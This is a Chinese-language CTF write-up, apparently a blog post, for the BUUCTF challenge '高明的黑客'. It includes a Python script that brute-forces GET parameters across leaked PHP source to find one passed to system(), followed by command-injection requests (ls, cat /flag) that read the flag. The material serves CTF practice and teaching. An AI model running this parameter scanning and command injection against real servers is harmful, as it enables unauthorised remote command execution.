BUUCTF [强网杯 2019] 高明的黑客

BUUCTF [强网杯 2019] 高明的黑客

启动环境:
在这里插入图片描述
提示备份了网站源码到www.tar.gz,在连接后添加后缀,下载源码:
在这里插入图片描述
随机打开几个文件:
在这里插入图片描述
在这里插入图片描述
可以查看到存在GETPOST传参,并且之后使用了system()函数,可能存在命令执行漏洞。
所以需要从大批量php文件中找到有回显的传参,编写Python 3脚本:

import requests
import os
import re

url = 'http://xxx/'
path = '/Users/Downloads/src'

ptn_get = re.compile(br"\$_GET\['(\w+)'\]")
ptn_res = re.compile(br'success_hack')

count = 0

for f in list(os.scandir(path)):
    print(str(f)[11:-2])
    count += 1

    with open(f.path, 'rb') as fp:
        data = fp.read()

    for get in set(ptn_get.findall(data)):
        get = get.decode('ascii')
        cmd = 'echo "success_hack";'

        r = requests.get(url + f.name, params={get: cmd})
        if ptn_res.search(r.content) is not None:
            print(f.name, get)
            exit()

应该使用多线程,等了很长时间,得到结果:
在这里插入图片描述
查看xk0SzyKwfzw.php
在这里插入图片描述

先访问xk0SzyKwfzw.php页面:
在这里插入图片描述
在传入参数Efa5BVGxk0SzyKwfzw.php?Efa5BVG=ls,得到当前文件夹下内容:
在这里插入图片描述
判断出命令ls执行成功,之后就是简单的命令执行,查看根目录:xk0SzyKwfzw.php?Efa5BVG=ls /

打开flagxk0SzyKwfzw.php?Efa5BVG=cat /flag
在这里插入图片描述
通过对GET传参的爆破,得到真正的参数,再通过命令执行,得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值